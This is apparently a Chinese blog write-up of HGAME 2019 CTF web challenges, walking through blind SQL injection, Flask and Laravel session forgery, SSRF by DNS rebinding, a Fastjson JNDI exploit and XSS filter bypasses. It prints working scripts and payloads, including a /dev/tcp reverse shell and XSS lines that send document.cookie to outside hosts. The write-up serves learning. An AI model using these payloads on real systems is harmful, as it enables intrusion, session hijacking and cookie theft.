6
7
8
9
10
11
12
13
function delete_message($message_id)
{
$user_id = $_SESSION['user_id'];
if ($_POST['token'] === $_SESSION['token']) {
if ($_SESSION['groups'] == 0) {
$sql_query = "delete from `messages` where `message_id`=$message_id and `user_id`=$user_id";
} elseif ($_SESSION['groups'] == 1) {
$sql_query = "delete from `messages` where `message_id`=$message_id";
}
sql_query($sql_query);

}
}

我们就可以从$message_id进行注入。然而这个注入可以搭配什么进行攻击呢,既然首页有文件包含,我们是不是可以利用上传头像来进行包含利用,这个sql注入就可以帮助我们获得头像文件名了。

大致思路就出来了,通过头像上传,然后使用注入获得路径,在用phar://xxxx/xxxx来访问拿到shell

这里不知道为什么访问有点问题,贴一下一叶飘零师傅的 jio 本好了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import requests
import re
flag=''
res = "<input type='hidden' value='(.*?)' id='token'"
url = 'http://111.231.140.29:10080/index.php'
header={
'User-Agent':'curl/7.54.0',
'Accept':'*/*'
}
cookie = {
'PHPSESSID':'mobe47sd6q6ocl6g9upcok0ad8',
'user':'zeddy',
'groups':'0'
}
url2 = 'http://111.231.140.29:10080/messages_api.php?action=delete'
url4 = 'http://111.231.140.29:10080/messages_api.php?action=add'
for i in range(1,1000):
print(i)
# for j in range(33,127):
for j in '0123456789abcdef':
j = ord(j)
r = requests.get(url=url, cookies=cookie,headers=header)
token = re.findall(res, r.content.decode('utf-8'))[0]
#payload = "-1 or if((ascii(substr((database()),%d,1))=%d),sleep(5),0)#"%(i,j)
payload = "-1 or if((ascii(substr((select avatar from users where username like 0x7a65646479),%d,1))=%d),sleep(3),0)#"%(i,j)
data = {
'message_id':payload,
'token':token
}
try:
r = requests.post(data=data,cookies=cookie,url=url2,timeout=2.5,headers=header)
except:
flag += chr(j)
print(flag)
r = requests.get(url=url, cookies=cookie,headers=header)
token = re.findall(res, r.content.decode('utf-8'))[0]
data = {
'new_message': '123456',
'token': token
}
r = requests.post(data=data,cookies=cookie,url=url4,headers=header)
break

BabyXSS

save 按钮尝试 xss(尝试过程不需要输验证码),成功后带上验证码 code,submit 按钮提交 xss 语句;flag 在 admin 的 cookie 里面,格式 hgame{xxxxx}。

http://118.25.18.223:9000/index.php

一直访问不了 233

参考其他师傅的 wp ,只是一个简单的双写关键字绕过

Week 4

Web

happyPython

flag 在管理员账号下

http://118.25.18.223:3001

思路主要是伪造 admin cookiel 了,所以我们需要读secret_key

使用
/{{[].__class__.__base__.__subclasses__()}} 与 /{{[].__class__.__base__.__subclasses__}}
两个返回均相同

发现是()被过滤了

一直想着去用文件读取secret_key,但是又因为()被过滤,怎么也做不出来

后来发现用/可以得到…….orz,也可以用url_for.__globals__['current_app'].config读取

1
<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': '9RxdzNwq7!nOoK3*', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'CSRF_ENABLED': True, 'SQLALCHEMY_DATABASE_URI': 'mysql+pymysql://hgame:asdkjhiou12312451r2@127.0.0.1:3306/hgame', 'SQLALCHEMY_TRACK_MODIFICATIONS': True, 'WTF_CSRF_ENABLED': True, 'WTF_CSRF_CHECK_DEFAULT': True, 'WTF_CSRF_METHODS': {'PUT', 'DELETE', 'POST', 'PATCH'}, 'WTF_CSRF_FIELD_NAME': 'csrf_token', 'WTF_CSRF_HEADERS': ['X-CSRFToken', 'X-CSRF-Token'], 'WTF_CSRF_TIME_LIMIT': 3600, 'WTF_CSRF_SSL_STRICT': True, 'SQLALCHEMY_BINDS': None, 'SQLALCHEMY_NATIVE_UNICODE': None, 'SQLALCHEMY_ECHO': False, 'SQLALCHEMY_RECORD_QUERIES': None, 'SQLALCHEMY_POOL_SIZE': None, 'SQLALCHEMY_POOL_TIMEOUT': None, 'SQLALCHEMY_POOL_RECYCLE': None, 'SQLALCHEMY_MAX_OVERFLOW': None, 'SQLALCHEMY_COMMIT_ON_TEARDOWN': False}>

得到'SECRET_KEY': '9RxdzNwq7!nOoK3*',登录自己注册的账号,解码自己的.session

1
2
3
4
5
session=.eJwljztqQzEQAO-i2sXuSlpJvsxjv8QYEnjPrkLubkGa6QZmfsuRZ1xf5f4633Erx8PLvSTRjFoNNakTA_QchoC0fMlmGgtR8kRhI_TRhNb0QJIkWGukkjB5MC9ts4VONOBuFZJy9LU0vfbhlt1osok2ZIXk8A0pt2LXmcfr5xnfuwfFlIMcQEbSVPW05r1ip6W1br9RA-3be19x_k8QcPn7ABDuP70.XHK0ew.2CT1_Vu5Qp8rMbm8ig80dve2-Zg

python2 session_cookie_manager.py decode -c '.eJwljztqQzEQAO-i2sXuSlpJvsxjv8QYEnjPrkLubkGa6QZmfsuRZ1xf5f4633Erx8PLvSTRjFoNNakTA_QchoC0fMlmGgtR8kRhI_TRhNb0QJIkWGukkjB5MC9ts4VONOBuFZJy9LU0vfbhlt1osok2ZIXk8A0pt2LXmcfr5xnfuwfFlIMcQEbSVPW05r1ip6W1br9RA-3be19x_k8QcPn7ABDuP70.XHK0ew.2CT1_Vu5Qp8rMbm8ig80dve2-Zg'

{u'csrf_token': u'1acb6e2d00a7f28bbdfc4d531529b336ca4240b5', u'_fresh': True, u'user_id': u'206', u'_id': u'f228e33c1bf2526005f7c10129d9a129fc6a22f681a6c21d74a298de12af20997fb2a62de669b484eb81c065c30f2f7599bfd357dcf5c286cab416b0f6ed0f6a'}

这里千万不要改其他的东西,就改u'user_id'字段就可以了,改成 1 后用encode就行了,这里有师傅说要用 python3 ,因为 timestamp 的原因,可是这里我并没有用 python3 ,直接用 python2 就过了

1
2
3
python2 session_cookie_manager.py encode -s '9RxdzNwq7!nOoK3*' -t "{u'csrf_token': u'1acb6e2d00a7f28bbdfc4d531529b336ca4240b5', u'_fresh': True, u'user_id': u'1', u'_id': u'f228e33c1bf2526005f7c10129d9a129fc6a22f681a6c21d74a298de12af20997fb2a62de669b484eb81c065c30f2f7599bfd357dcf5c286cab416b0f6ed0f6a'}"

{u'csrf_token': u'1acb6e2d00a7f28bbdfc4d531529b336ca4240b5', u'_fresh': True, u'user_id': u'1', u'_id': u'f228e33c1bf2526005f7c10129d9a129fc6a22f681a6c21d74a298de12af20997fb2a62de669b484eb81c065c30f2f7599bfd357dcf5c286cab416b0f6ed0f6a'}

happyPHP

flag 在管理员账号下

http://118.25.18.223:3000/

在看 git 的时候,切记要看一下历史记录,可能会有新收获

源码发现给了 github 仓库https://github.com/Lou00/laravel,是一套用 laravel 写的

慢慢审计,在laravel/app/Http/Controllers/SessionsController.php中发现一下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public function store(Request $request)
{
$credentials = $this->validate($request, [
'email' => 'required|email|max:100',
'password' => 'required'
]);

if (Auth::attempt($credentials)) {
if (Auth::user()->id ===1){
session()->flash('info','flag :******');
return redirect()->route('users.show');
}
$name = DB::select("SELECT name FROM `users` WHERE `name`='".Auth::user()->name."'");
session()->flash('info', 'hello '.$name[0]->name);
return redirect()->route('users.show');
} else {
session()->flash('danger', 'sorry,login failed');
return redirect()->back()->withInput();
}
}

而整个路由有

1
2
3
4
5
6
7
Route::get('/', 'StaticPagesController@home')->name('home');
Route::get('/register','UsersController@register')->name('register');
Route::get('/login','UsersController@login')->name('login');
Route::get('/users', 'UsersController@show')->name('users.show');
Route::post('/users', 'UsersController@store')->name('users.store');
Route::post('/login', 'SessionsController@store')->name('login');
Route::get('/logout', 'SessionsController@destroy')->name('logout');

所以我们还是需要登录管理员账号去获取 flag,而且这里的注入点是name,邮箱唯一,所以我们可以注册一个name=admin' or 1=1;#的账户测试注入

所以用

1
2
3
4
5
6
7
8
admin' union select password FROM `users` WHERE `id`= '1' ORDER BY name DESC;#
得到 admin 的密码

admin' union select email FROM `users` WHERE `id`= '1' ORDER BY name DESC;#
得到 admin 的邮箱admin@hgame.com

a' union select load_file('/etc/passwd') ORDER BY name DESC;#
读取失败

得到

1
2
3
4
eyJpdiI6InJuVnJxZkN2ZkpnbnZTVGk5ejdLTHc9PSIsInZhbHVlIjoiRWFSXC80ZmxkT0dQMUdcL2FESzhlOHUxQWxkbXhsK3lCM3Mra0JBYW9Qb2RzPSIsIm1hYyI6IjU2ZTJiMzNlY2QyODI4ZmU2ZjQxN2M3ZTk4ZTlhNTg4YzA5N2YwODM0OTllMGNjNzIzN2JjMjc3NDFlODI5YWYifQ==

base64_decode 得到
{"iv":"rnVrqfCvfJgnvSTi9z7KLw==","value":"EaR\/4fldOGP1G\/aDK8e8u1Aldmxl+yB3s+kBAaoPods=","mac":"56e2b33ecd2828fe6f417c7e98e9a588c097f083499e0cc7237bc27741e829af"}

尝试参考Laravel cookie 伪造,解密,和远程命令执行,对id=1的管理员进行 cookie 伪造,但是无解。

找到一个 php 解密脚本,但是没有$key,就没办法解密。在而$key存在于.env中,我们在github commit中找到了被删除的.env.env中找到APP_KEY=base64:9JiyApvLIBndWT69FUBJ8EQz6xXl5vBs7ofRDm9rogQ=

搜了一下解密脚本,laravel cookie 加解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
function decode($str,$key){
$payload = json_decode(base64_decode($str), true);
$iv = base64_decode($payload['iv']);
$decrypted = openssl_decrypt($payload['value'], 'AES-256-CBC', $key, 0, $iv);
return unserialize($decrypted);
}

function encode($value,$key){
$iv = random_bytes(openssl_cipher_iv_length('AES-256-CBC'));
$value = openssl_encrypt(serialize($value),'AES-256-CBC', $key, 0, $iv);
$iv = base64_encode($iv);
$mac = hash_hmac('sha256',$iv.$value,$key);
$json = json_encode(compact('iv', 'value', 'mac'));
return base64_encode($json);
}

/**
* .env 里面的 APP_KEY
*/
$key = base64_decode('9JiyApvLIBndWT69FUBJ8EQz6xXl5vBs7ofRDm9rogQ=');

$value = '596|6EvT3jxKRaTwcuj5NEgdnztIjjKDX4lfqz38DGDR4hET8XaEXS35vZTksROl|';

// $str = encode($value,$key).PHP_EOL;
$str = 'eyJpdiI6InJuVnJxZkN2ZkpnbnZTVGk5ejdLTHc9PSIsInZhbHVlIjoiRWFSXC80ZmxkT0dQMUdcL2FESzhlOHUxQWxkbXhsK3lCM3Mra0JBYW9Qb2RzPSIsIm1hYyI6IjU2ZTJiMzNlY2QyODI4ZmU2ZjQxN2M3ZTk4ZTlhNTg4YzA5N2YwODM0OTllMGNjNzIzN2JjMjc3NDFlODI5YWYifQ==';
echo decode($str,$key);

把相关参数填上,得到密码 9pqfPIer0Ir9UUfR,登录`admin@hgame.com`得到 flag

这里一开始以为自己破解密码的思路不太对,而且自己之前也没有关注到 commit 找到$key。还是主要是找脚本不太好找,我尝试了很多个脚本都没有成功解密。后来经过师傅提点才知道确实可以密码破解,就去各种找密码了才搞定。

happyJava

java is not so hard, is it right?
hint: spring-boot-actuator

http://119.28.26.122:23333/index

题目设置很简单,目录什么的不存在的,直接访问/hgame_flag直接返回与其他页面一样的 404 不存在的错误

看了一下Springboot 之 actuator 配置不当的漏洞利用,以及spring boot 2 使用 actuator 404 的问题遍历了敏感路径都是 404 ……1.x 和 2.x 路径都试过了…没啥想法

以下是复现 wp……orz:

actuator 部署时,可以选择与当前项目不同端口

于是扫一波端口可以看到987631337

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-24 23:36 CST
Nmap scan report for 119.28.26.122
Host is up (0.045s latency).
Not shown: 987 closed ports
PORT STATE SERVICE
22/tcp open ssh
135/tcp filtered msrpc
139/tcp filtered netbios-ssn
445/tcp filtered microsoft-ds
593/tcp filtered http-rpc-epmap
901/tcp filtered samba-swat
1025/tcp filtered NFS-or-IIS
3128/tcp filtered squid-http
4444/tcp filtered krb524
6129/tcp filtered unknown
6667/tcp filtered irc
9876/tcp open sd
31337/tcp open Elite

Nmap done: 1 IP address (1 host up) scanned in 2.31 seconds

31337应该不是http服务,于是在9876扫了一波目录,终于发现了泄露的关键信息,http://119.28.26.122:9876/info返回了空的jsonhttp://119.28.26.122:9876/mappings返回了如下信息

{"/webjars/**":{"bean":"resourceHandlerMapping"},"/**":{"bean":"resourceHandlerMapping"},"/**/favicon.ico":{"bean":"faviconHandlerMapping"},"{[/index],methods=[GET]}":{"bean":"requestMappingHandlerMapping","method":"public java.lang.String me.lightless.happyjava.controller.MainController.Index()"},"{[/you_will_never_find_this_interface],methods=[GET]}":{"bean":"requestMappingHandlerMapping","method":"public java.lang.String me.lightless.happyjava.controller.MainController.YouWillNeverFindThisInterface(java.lang.String)"},"{[/secret_flag_here],methods=[GET]}":{"bean":"requestMappingHandlerMapping","method":"public java.lang.String me.lightless.happyjava.controller.MainController.SecretFlagHere(java.lang.String,javax.servlet.http.HttpServletRequest)"},"{[/error],methods=[GET]}":{"bean":"requestMappingHandlerMapping","method":"public java.lang.String me.lightless.happyjava.controller.ErrorController.ShowCommonError()"},"{[/error],produces=[text/html]}":{"bean":"requestMappingHandlerMapping","method":"public org.springframework.web.servlet.ModelAndView org.springframework.boot.autoconfigure.web.BasicErrorController.errorHtml(javax.servlet.http.HttpServletRequest,javax.servlet.http.HttpServletResponse)"},"{[/error]}":{"bean":"requestMappingHandlerMapping","method":"public org.springframework.http.ResponseEntity> org.springframework.boot.autoconfigure.web.BasicErrorController.error(javax.servlet.http.HttpServletRequest)"}}

访问/secret_flag_here,发现返回

1
2
3
4
5
6
7
8
HTTP/1.1 200 
X-Application-Context: application:23333
Content-Type: text/html;charset=UTF-8
Content-Length: 87
Date: Sun, 24 Feb 2019 15:57:48 GMT
Connection: close

This is danger interface, only allow request from 127.0.0.1!<br/>Your IP:xxx.xxx.xxx.xxx(已打码)

用以下一梭子 HTTP 头伪造都没有用…

1
2
3
4
5
6
7
8
9
Client-Ip: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Forwarded-Host: 127.0.0.1

应该是要形成 ssrf 或者其他的了吧,尝试继续访问/you_will_never_find_this_interface,得到

1
2
3
4
5
6
7
8
HTTP/1.1 200 
X-Application-Context: application:23333
Content-Type: text/html;charset=UTF-8
Content-Length: 20
Date: Sun, 24 Feb 2019 16:00:53 GMT
Connection: close

`url` cant be empty!

尝试访问/you_will_never_find_this_interface?url=1,返回

1
emmmmmmm, something went wrong: no protocol: 1

尝试url=http://localhost/you_will_never_find_this_interface,返回

1
Dont be evil. Dont request 127.0.0.1.

http%3a//[%3a%3a]%3a23333/you_will_never_find_this_interface返回 400

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
http://example.com@127.0.0.1:23333/you_will_never_find_this_interface

http://127.0.0.1.xip.io:23333/you_will_never_find_this_interface
Dont be evil. Dont request 127.0.0.1.

http://127。0。0。1/secret_flag_here
emmmmmmm, something went wrong: Label has two-byte char: 127。0。0。1

http://0x7f000001:23333/secret_flag_here
emmmmmmm, something went wrong: DNS name not found [response code 3]

http://0177.0.0.1:23333/secret_flag_here
emmmmmmm, something went wrong: connect timed out

http://2130706433:23333/secret_flag_here
Dont be evil. Dont request 127.0.0.1.

⓵⓶⓻.⓿.⓿.⓵
emmmmmmm, something went wrong: Label has two-byte char: ⓵⓶⓻

尝试了很多绕过方法都没用,最后只剩下用DNS Rebinding来进行绕过了

首先了解一波关于 DNS-rebinding 的总结,可以发现有个比较方便的方法,就是设置两个 A 记录,一个指向 127.0.0.1,另外一个指向不是 127.0.0.1 的地址即可。

这里原文解释的不是很清楚,又请教了一下白师傅,才明白两个记录怎么绕过对 127.0.0.1 的检测的。首先第一次 DNS 解析在 waf 处,检查 DNS 记录是否是 127.0.0.1 ,第二次 DNS 解析在 ajax 或者请求我们传入的 url 地址的时候进行的,因为 DNS 随机解析,所以如果第一次解析,解析到了我们设置的非 127.0.0.1 的地址,就可以绕过 waf 对 127.0.0.1 的检测,否则解析到 127.0.0.1 就直接被 waf ,所以第一次通过的概率为 1/2 ;如果第二次解析,也就是在对 url 进行请求的时候,解析到了 127.0.0.1 的话,这次 ssrf 就算成功了,也就达到了我们访问内网地址的目的,如果解析不是 127.0.0.1 的话,那就失败了,所以第二次成功概率也是 1/2 。综述,整个DNS Rebinding采用两个A记录绕过的成功概率为 1/2 。

可以看到这里已经成功了。

传入data参数,因为作为/secret_flag的参数,这里注意要用urlencode,看到返回WoW! Convert JSON to object...OK!<br>Result: 1

可以使用fastjson反序列化搞定,但是使用vulhub下的fastjson的 exp 直接就报了 waf

参考FastJson 反序列化漏洞利用笔记#基于 JNDI 的 PoC,构造如下的Exploit.java,然后编译成.class文件放在 HTTP 服务端口下提供后续下载

1
2
3
4
5
6
7
8
9
10
11
12
13
public class Exploit {
public Exploit(){
try {
java.lang.Runtime.getRuntime().exec(
new String[]{"bash", "-c", "bash -c \"sh >& /dev/tcp/your_ip/port 0>&1\""});
} catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}

在 vps 上下载marshalsec提供ldap服务,按照步骤mvn clean package -DskipTests编译好后,

1
$ java -cp ./target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your_ip:port/#Exploit

在一个端口起一个 HTTP 服务提供受害者下载Exploit.class,在发送以下 payload

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://your_ip:1389/Exploit","autoCommit":true}

记得二次 urlencode ,成功getshell

happyGo

​ 别问,问就是 cve 改的
​ flag 在/flag 里
​ source code:https://pan.baidu.com/s/1wQwqxF6DUr-2AIC_giud0g 提取码: 6v2i

http://94.191.10.201:7000/

复现题 2333……orz

题目提供注册登录功能,登录进来后可以发送消息

也可以修改自己的头像

发现源码有地方

1
2
beego.Router("/admin", &controllers.AdminController{})
beego.Router("/admin/user/del/:id([0-9]+", &controllers.UserDelController{})

看到一个比较奇怪的功能,跟进Controller看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
type AdminController struct {
beego.Controller
}

func (c *AdminController) Get() {
uid := c.GetSession("uid")
if uid == nil {
c.Abort("500")
}

if uid.(int) != 1 {
c.Redirect("/", http.StatusFound)
return
}

o := orm.NewOrm()
u := models.Users{Id:uid.(int)}
us := []models.Users{}

err := o.Read(&u)
if err != nil {
c.Abort("500")
}

_, err = o.QueryTable("users").Filter("id__gt",1).All(&us)
if err != nil {
c.Abort("500")
}

c.Data["Users"] = us
c.Data["Avatar"] = u.Avatar
c.Data["Username"] = u.Username
c.Data["UID"] = u.Id

c.TplName = "admin.tpl"
}

type UserDelController struct {
beego.Controller
}

func (u *UserDelController) Get() {
uid := u.GetSession("uid")
if uid == nil {
u.Abort("500")
}

if uid.(int) != 1 {
u.Redirect("/", http.StatusFound)
return
}

id := u.Ctx.Input.Param(":id")
i, _ := strconv.Atoi(id)
if i == 1 {
u.Redirect("/admin", http.StatusFound)
return
}

o := orm.NewOrm()
user := models.Users{Id:i}
err := o.Read(&user)
if err != nil {
u.Abort("500")
}

if user.Avatar != "/static/img/avatar.jpg" {
os.Remove(user.Avatar)
}

o.QueryTable("messages").Filter("uid", id).Delete()
o.Delete(&user)

u.Redirect("/admin", http.StatusFound)
}

虽然看起来Go语言有点古怪,但是代码逻辑还是大致懂得,看起来逻辑都比较正常,但是在os.Remove(user.Avatar),存在一个越权,因为我们可以控制user.Avatar,我们就可以删除任意文件了。

还有一个路由就是/install路由

1
beego.Router("/install", &controllers.InstallController{})

查看InstallController

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
type InstallController struct {
beego.Controller
}

func (c *InstallController) Get() {
_, err := os.Stat("conf/app.conf")
if err != nil && os.IsNotExist(err) {
c.TplName = "install.tpl"
} else {
c.Redirect("/", http.StatusFound)
return
}
}


func (c *InstallController) Post() {
_, err := os.Stat("conf/app.conf")
if err != nil && os.IsNotExist(err) {
//pass
} else {
c.Redirect("/", http.StatusFound)
return
}
type data struct {
Host string `form:"host"`
Port string `form:"port"`
Username string `form:"username"`
Password string `form:"password"`
Database string `form:"database"`
}
d := data{}

if err := c.ParseForm(&d); err != nil {
c.Abort("500")
}

s := `[mysql]
username = %s
password = %s
host = %s
port = %s
database = %s
`
err = ioutil.WriteFile("conf/app.conf", []byte(fmt.Sprintf(s, d.Username, d.Password, d.Host, d.Port, d.Database)),0666)
if err != nil {
c.Abort("500")
}
c.Redirect("/", http.StatusFound)
}

根据Read MySQL Client’s File,应该是出题人的博客了吧 2333…
大致我们可以猜测整个流程,登录管理员,删除app.conf,重新install,用恶意mysql服务器读取任意文件。而登录管理员就需要看到在main.go中的主函数了

1
2
3
4
5
6
7
func main() {
beego.BConfig.WebConfig.Session.SessionName = "PHPSESSID"
beego.BConfig.WebConfig.Session.SessionProvider="file"
beego.BConfig.WebConfig.Session.SessionProviderConfig = "./tmp"
beego.BConfig.WebConfig.Session.SessionOn = true
beego.Run()
}

搭环境始终没找到catmsg/routers这个包…蜜汁尴尬,还是放弃了。而且writeup写的极其简单…并没有详细剖析原理。

贴一下其他师傅的脚本,session伪造脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
# coding:utf-8
import requests
import base64

ip="94.191.10.201"
host="http://94.191.10.201:7000"
registerURL = host + "/auth/register"
loginURL = host + "/auth/login"
userinfoURL = host + "/userinfo"
req = requests.session()

# register

registerData={ "username":"ii5am3", "password":"123456", "confirmpass":"123456",}

r = req.post(registerURL,data=registerData)

print("[+] register "+r.text)

# login

loginData={ "username":"ii5am3", "password":"123456",}

r = req.post(loginURL,data=loginData)

print(r"[+] login "+r.text)



# 获取当前登陆用户的sessionID

sessionID = r.request._cookies._cookies[ip]["/"]["PHPSESSID"].value

print(r"[+] sessionID is "+ sessionID)



# 上传session,伪造cookie

newSession = sessionID[0:2]+"5am3"

filename = "../../tmp/%s/%s/%s" %(sessionID[0],sessionID[1],newSession)



# 本地搭建环境,登入uid为1的账号,然后获取他的session的文件即可。在这里我给大家

attackSession = base64.b64decode("Dv+BBAEC/4IAARABEAAAGv+CAAEGc3RyaW5nDAUAA3VpZANpbnQEAgAC")

sessionFiles={"uploadname" : (filename, attackSession)}

r = req.post(userinfoURL,files=sessionFiles)

print(r"[+] newCookie is: PHPSESSID="+ newSession)

伪造服务端脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
# coding:utf-8
import requests
import base64
# req表示user1,此时全程用该一个session
req = requests.session()
ip = "94.191.10.201"
host = "http://94.191.10.201:7000"
registerURL = host + "/auth/register"
loginURL= host + "/auth/login"
userinfoURL = host + "/userinfo"
deleteUserURL = host +"/admin/user/del/2"
installURl = host + "/install"
attackCookie = base64.b64decode("Dv+BBAEC/4IAARABEAAAGv+CAAEGc3RyaW5nDAUAA3VpZANpbnQEAgAC")

# register
registerData={ "username":"ii5am3", "password":"123456", "confirmpass":"123456",}
r= req.post(registerURL,data=registerData)
print("[+] register "+r.text)

# login
loginData={ "username":"ii5am3", "password":"123456",}
r = req.post(loginURL,data=loginData)
print(r"[+] login "+r.text)
sessionID= r.request._cookies._cookies[ip]["/"]["PHPSESSID"].value
print(r"[+] sessionID is "+ sessionID)

# 上传session,伪造cookie
newSession = sessionID[0:2]+"5am3"
filename = "../../tmp/%s/%s/%s" %(sessionID[0],sessionID[1],newSession)
sessionFiles={ "uploadname" : (filename, attackCookie)}
r = req.post(userinfoURL,files=sessionFiles)
print(r"[+] newSessionID is "+ newSession)

# 修改头像文件链接。
sessionFiles={ "uploadname" : ("../../conf/app.conf", "12345")}
r = req.post(userinfoURL,files=sessionFiles)

# 新建一个请求,伪造admin进行删除用户
headers={ "Cookie":"PHPSESSID="+newSession}
r = requests.get(deleteUserURL,headers=headers)

# 重新安装环境,将其指向我们的恶意sql服务器。
installData = {
"host":"your_ip",
"port":"your_port",
"username":"hgame", "password":"hgame", "database":"hgame"}
r = requests.post(installURl,installData)

# 再次登录,使其再来一次请求。
loginData={ "username":"ii5am3", "password":"123456",}
r = req.post(loginURL,data=loginData)
print(r"[+] login "+r.text)

读取 flag

HappyXSS

1
2
3
4
5
6
7
onerror
"
&
svg
onload
onerror
'

随手fuzz了一下,发现以上关键字会被替换为Happy !

1
2
3
4
5
<marquee onstart=alert(1)>

<marquee onstart=eval(atob('YWxlcnQoMSk='))>

<marquee onstart=eval(atob('some base64 code'))>

<marquee>虽然可以绕,但是Chrome不支持这个标签了,可能这题也用的是Chromeless,然后发现还有CSP策略。

1
2
3
4
5
6
7
8
9
10
11
12
HTTP/1.1 200 OK
Date: Fri, 22 Feb 2019 10:32:21 GMT
Server: Apache/2.4.29 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src *
X-XSS-Protection: 0
Vary: Accept-Encoding
Content-Length: 1353
Connection: close
Content-Type: text/html; charset=UTF-8

最后我用<body onpageshow进行了绕过

1
<body onpageshow=eval(atob('ZnJhbWU9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiaWZyYW1lIik7CmRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoZnJhbWUpOwpzY3JpcHQ9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7CnNjcmlwdC5zcmM9Jy8veHNzcHQuY29tL0d2eE5Qbic7CndpbmRvdy5mcmFtZXNbMF0uZG9jdW1lbnQuaGVhZC5hcHBlbmRDaGlsZChzY3JpcHQpOw=='))>

Base64 内容:

1
2
3
4
5
frame=document.createElement("iframe");
document.body.appendChild(frame);
script=document.createElement('script');
script.src='//xsspt.com/GvxNPn';
window.frames[0].document.head.appendChild(script);

但是以上不能绕CSP策略,可以用window.location绕过

1
<body onpageshow=eval(atob('d2luZG93LmxvY2F0aW9uPSJodHRwOi8veW91cl9pcDpwb3J0P2M9Iitkb2N1bWVudC5jb29raWU7'))>

base64 内容:

1
window.location="http://your_ip:port?c="+document.cookie;

再给几个其他师傅绕过的 payload :

利用window.open,不过用的是<script >绕过关键字检测

1
2
3
<script>window.open('http://149.248.6.227:1150/XSS.php?cookie='+document.cookie)</script>

<script >eval(String.fromCharCode(119,105,110,100,111,119,46,111,112,101,110,40,39,104,116,116,112,58,47,47,49,52,57,46,50,52,56,46,54,46,50,50,55,58,49,49,53,48,47,88,83,83,46,112,104,112,63,99,111,111,107,105,101,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41))</script >

还有的用<input onfous绕过

1
<input onfocus=javascript:eval(String.fromCharCode(119,105,110,100,111,119,46,108,111,99,97,116,105,111,110,46,104,114,101,102,61,34,104,116,116,112,58,47,47,49,50,55,46,48,46,48,46,49,58,50,53,48,48,48,47,63,115,61,34,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,59)); autofocus>
Hexo Template render error 解决方案 Flutter packages get 424问题解决方法

Comments

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×